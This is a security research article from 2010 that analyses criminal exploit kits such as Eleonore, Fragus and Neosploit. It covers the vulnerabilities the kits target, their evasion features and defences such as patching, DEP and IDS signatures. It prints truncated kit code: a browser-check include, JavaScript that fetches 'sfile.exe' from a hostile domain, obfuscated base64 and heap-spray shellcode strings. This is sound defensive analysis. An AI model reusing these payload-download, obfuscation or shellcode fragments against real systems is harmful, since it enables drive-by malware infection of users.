Exploit kit explosion – part two: vectors of attack

Last month I introduced a multitude of exploit frameworks used in drive-by browser-based attacks (see VB, April 2010, p.21). Most are programmed in PHP and SQL, selling for a few hundred dollars or more in a competitive criminal market. Common exploit frameworks include Eleonore, Fragus, Neosploit, Yes! and more. The aim of this follow-up article is to detail the functionality of frameworks, focusing on attack vectors (exploits) and counter-intelligence efforts.

It should be noted that analysis of exploit frameworks is more of an art than a science. Incomplete data sets, demo kits and behavioural testing frequently fail to properly identify all the attack vectors of a given kit. Slang terms and/or misidentification of exploit vectors and files are commonly found when referencing open-source intelligence documentation for such frameworks. Additionally, the development and distribution of these threats is dynamic, with the threats constantly being upgraded and/or deployed privately, resulting in different configurations and capabilities of the same attack kit in different incidents. In other situations CVE numbers are deprecated, CLSIDs are not specific enough, and/or exploited vulnerabilities exist in potentially unwanted applications such as Zango adware.

It is difficult to properly qualify each attack vector and exploit in a lab. Every effort has been made to scan all files, analyse source code, and correlate back to exploit strings, CVEs and other attack data for each exploit framework attack vector reported on in this document. The author welcomes feedback and additional data to continue to research and report on such threats as they emerge (please contact [email protected]).

Before diving into exploits, what is your own theory about the prevalence of the various exploit vectors used in exploit frameworks? Do you believe kits contain as many exploits as possible? Or perhaps an exploit framework only includes the most recent or zero-day attack vectors? Do kits commonly beg, borrow, and steal so that most kits contain the same exploits? What are the most targeted vectors – Internet Explorer, Firefox, Adobe Reader, Flash, Java and others? The results of a large-scale aggregate review of exploit frameworks in the wild may surprise you. The following are the findings after an analysis of about two dozen exploit frameworks.

Exploit kits actually contain a wide range of diverse exploits impacting many different products. Some, such as Neosploit, include exploitation of vulnerabilities not included in other kits (Neosploit is alone in containing ‘Buffer Overflow in the GomManager (GomWeb Control) ActiveX control in GomWeb3.dll 1.0.0.12 in Gretech Online Movie Player’ (CVE-2007-5779)). In reviewing a comprehensive list of attack vectors the data shown in Table 1 emerged, showing the exploit vectors for all kits analysed in the wild to date.

Exploit frameworks tend not to share such vectors. Unlike ‘the year of the bot’ in 2004, when the source code for Phatbot, MyDoom and other high-profile malicious programs was made available in the underground and shared widely amongst threats, exploits are held very tightly by criminals in 2010. This is likely for competitive advantage. One theory behind the release of various source codes in 2004 was to defer culpability, with the thought that if someone got arrested they wouldn’t be the only one to be in possession of the source code for a powerful threat, or they could claim that a trojan uploaded it to their computer. In 2010 the very clear operating procedure for criminals is to undercut a mature market to develop goods and services for financial gain.

The most commonly exploited vulnerabilities amongst multiple kits are listed below:

Browser-based:

Windows/Office:

Adobe (PDF/Flash):

QuickTime:

Java:

The list of the most common vectors reveals a divergence of attack vectors. Attacks are not just focused on Adobe Reader (PDF) files but also on Flash, QuickTime, Java, Windows, Office and browser-based vectors. Diversity is one of the keys to maximizing exploitation and driving up sales of an exploit framework. Average exploitation on kits is around 20 per cent if they are current and well distributed for targeted victims.

Fragus is a popular exploit kit seen in the wild in 2009 and 2010. Figure 1 shows a small number of infections at the time of anlaysis. Of those infections, MDAC ranks at the top of the list, with PDF ranking second highest. The highest percentage of effective attacks is aolwinamp with 100% success, while MDAC has only 37.5% success. This suggests that, although MDAC is not as successful as other exploits, it is still being used against a target audience that may be using older versions of Internet Explorer and/or systems that are not fully patched or legal. Other exploits are often a backup for kit authors as they seek to attack with older scripts and then use more recent ones later. Other kits have a priority system that can easily be managed to prioritize the way exploits are launched, as seen in the Unique Pack example shown in Figure 2.

Figure 1. Fragus statistics

Figure 2. Unique Pack

Leading exploit frameworks are rapidly upgraded to include new attack vectors. For example, the Java deserializing issue was implemented in several top kits within 30 days of it first being used by a kit in the wild. This is likely not due to it being shared amongst kit creators, but to the creators of the top kits competing with one another for market share within their industry.

The type of exploit is less of an issue than several years ago when buffer overflows were the common vector of exploitation. Vulnerabilities exploited by kits range from buffer overflows to memory corruption, design errors, input validation, boundary condition errors and more. What matters is that the vulnerability is reliable and fits well within the browser-based drive-by exploitation model. As such, exploitation has matured from purely browser-based vulnerabilities to targeting third-party applications integrated into browsers such as Adobe Reader (PDF), Java, Flash and similar tools. Neosploit is a prime example of this, implementing the ‘Aurigma ImageUploader ActiveX Control Stack-Based Buffer Overflows’ exploit to take advantage of a vulnerability related to software for Facebook, MySpace and similar social networking sites in 2008. By developing such exploits within a kit, its creators gained an exclusive edge over other kits, were able to target a specific audience of interest, and increase the exploitation success rate.

The average exploit framework exploits eight vulnerabilities. The more comprehensive frameworks are as follows: Eleonore, Fragus, YES!, Fiesta, Shamans Dream Pack, Unique Pack, Liberty and Papka Pack (these ranging from 11 to 17 exploits per kit).

One final trend is the avoidance of legacy exploit vectors. Legacy exploit vectors are commonly easily spotted by IDS/IPS solutions and are more likely to lead to detection and shutdown/blacklisting of an exploit framework domain or IP. As a result, older vulnerabilities are not used in or are retired from exploit frameworks. With that said, can you guess which vulnerability is the most common older vector used in multiple kits? Believe it or not, it’s the infamous MDAC vulnerability from 2006 (CVE-2006-0003). This is likely due to the raving success claimed by many criminals when using this vulnerability. It is likely that newer vulnerabilities considered of high value to criminals will also sustain longevity in exploit framework kits, most notably the recent Java deserialization vulnerability (CVE-2008-5353).

Criminals are professionals too and they have implemented a wide range of counter-intelligence capabilities. Specific to exploit frameworks there is now intelligence behind tracking and responding to specific IPs, performing a staged attack, implementing obfuscation, randomization and encryption, anti-sandbox features, and blacklist notifications. While this is not a comprehensive list, these are the most common counter-intelligence features seen in the wild in 2010.

if ($brow==”MSIE”)
  {
  if ($ver==”6”)
   {
     msie_stat();
     include(“exp/msie.php”);
   }
  }

else
   {
     other_stat();
     include ‘error.php’; exit;
     //header(“location: $redir”);
   }

function smc() {
$b = ‘<Script Language=”JavaScript”>
var url1=”http://k0d.biz/sfile.exe”;
var rndmz = Math.round(Math.random()*99999);

function buff() {
var z_obj = document.createElement(b5+b6);
z_obj.setAttribute(“id”,”z_obj”);
z_obj.setAttribute(“classid”,a1+a2+a3+a4+a5+a6+a7+a8+a9+a0+b1+b2+b3+b4+””);

dmFyIGx4MD0iPCI7IHZhciBseDE9InY6ciI7IHZhciBseDI9ImVjdCI7IHZhciBseDM9Ij4iOyB2YXIgbHg0PS
J2OmYiOyB2YXIgbHg1PSJpbGwgIjsgdmFyIGx4Nj0ibWV0IjsNCnZhciBseDc9ImhvIjsgdmFyIGx4OD0iJiN
4IjsgdmFyIGx4OT0iMDYiOyB2YXIgbngwPSIzNTAwIjsgdmFyIG54MT0ieDMwMDAwIjsgdmFyIG54Mj0iMCI7
IHZhciBueDM9MTsNCnZhciB4bHhsMD0iJSI7IHZhciB4bHhsMT0idSI7IHZhciB4bHhsMj0iOTA5MCI7DQp2Y
XIgeGx4bDAwPSIldTQzNDMldTQzNDMldTBmZWIldTMzNWIldTY2YzkldTgwYjkldTgwMD

<omitted>

var lx0=”<”; var lx1=”v:r”; var lx2=”ect”; var lx3=”>”; var lx4=”v:f”; var lx5=”ill “; var lx6=”met”;
var lx7=”ho”; var lx8=”&#x”; var lx9=”06”; var nx0=”3500”; var nx1=”x30000”; var nx2=”0”; var nx3=1;
var xlxl0=”%”; var xlxl1=”u”; var xlxl2=”9090”;
var xlxl00=”%u4343%u4343%u0feb%u335b%u66c9%u80b9%u80

<omitted> 

function rc4Encrypt($key, $pt) {
     $s = array();
     for ($i=0; $i<256; $i++) {
           $s[$i] = $i;
     }

There are plenty of best practices that significantly reduce the likelihood of an attack on an enterprise or consumer computer. Obviously, aggressive patching and auditing of security policies is critical to avoid exploitation by a wide range of possible vulnerabilities. Additionally, a multi-layered defence model using anti-virus, firewall, IDS/IPS and a host of other tools and services helps to protect against drive-by threats. It’s worth nothing that patching isn’t just about Windows any longer but also the third-party applications regularly targeted in drive-by attacks, such as Adobe Reader, Flash, QuickTime and similar add-ons.

Data Execution Prevention (DEP) is one tool that helps even against unknown threats (zero-day exploits). When implemented for all programs it works very well to prevent common vectors of attack. Be cautioned, though, that when used with just Internet Explorer 7 and later, DEP is not fully effective. It has mixed results in dealing with IE-specific exploits. Additionally, DEP for Firefox, Adobe Reader and other tools typically relies on the Windows DEP settings rather than the individual program. As such, the baseline best practice is to enable DEP for all programs and exclude any tools that absolutely must be excluded (keep to a minimum). When properly configured, even computers vulnerable to attack avoid exploitation thanks to DEP blocking the action prior to exploitation.

A single notable exception exists with regard to DEP mitigation: Java. Because it runs in its own sandboxed environment, behaviourally all bets are off for DEP. In lab tests performed using Java exploits from actual kits in the wild, DEP settings did not impact such attacks. Additionally, unconfirmed third-party research on the Internet indicates that Java is not as well updated or managed as other third-party applications, such as Adobe Reader. As such, the overall risk for this vector is increased, which likely drives up exploitation numbers and further encourages criminals to focus on this vector of attack. More seriously, the recent deserialization issue that was implemented in several top kits in late 2009 and early 2010 is considered the ‘Holy Grail’ by some criminals. Not unlike the massive impact of MDAC, the deserialization issue has great potential to be one of the most sought after and most commonly used exploits going forth.

One final note on Java: codes like that of Bankpatch actually look for Java and, if found, upload a patched version of Java to ensure that financial fraud is possible no matter how online sessions are managed. The securing and aggressive auditing of Java must be at the top of all enterprise risk priorities to mitigate such risk.

On the IDS/IPS network layer it is also possible to implement multiple solutions to help mitigate exploit frameworks. For example, top exploit frameworks such as Eleonore, Liberty and others use the shorthand string ‘spl’ for ‘sploit’ in their exploit strings:

Notice that ‘spl=’ is typically followed by an identification of the exploit, which is helpful both in identification and mitigation. The examples above include PDF exploits, MDAC and DirectShow. In other cases it is common for numbers to be assigned to each exploit vector, such as ‘1’, ‘2’, etc. Behavioural tests and script reviews often reveal the numbers assigned to each exploit within a kit.

While performing additional research for this article queries for ‘spl=’ for hostile domain data revealed a new exploit attack and a possible new kit called ZPack (shown above). While it appears that this may be related to an Eleonore exploit framework, further investigation is underway to better understand the ZPack attribution. This is a prime example of how understanding common URI elements (‘spl=’ query search in this example) in exploit strings is very helpful in identifying unknown exploit sources, strings and related attacks on a network.

This two-part series has introduced the exploits kits that are contributing to an explosion of such frameworks to facilitate criminal fraud operations. 2010 marks an important period of maturation in the criminal marketplace for exploit frameworks, where basic functionality and rapid adoption of exploits is now the norm. This necessitates advanced features of kits just now emerging including advanced encryption and obfuscation tactics, zero-day exploits customized in kits, the use of loaders to maximize payload distribution and affiliate operations management, and advanced security notifications and counter-tactics utilized by the users of such frameworks.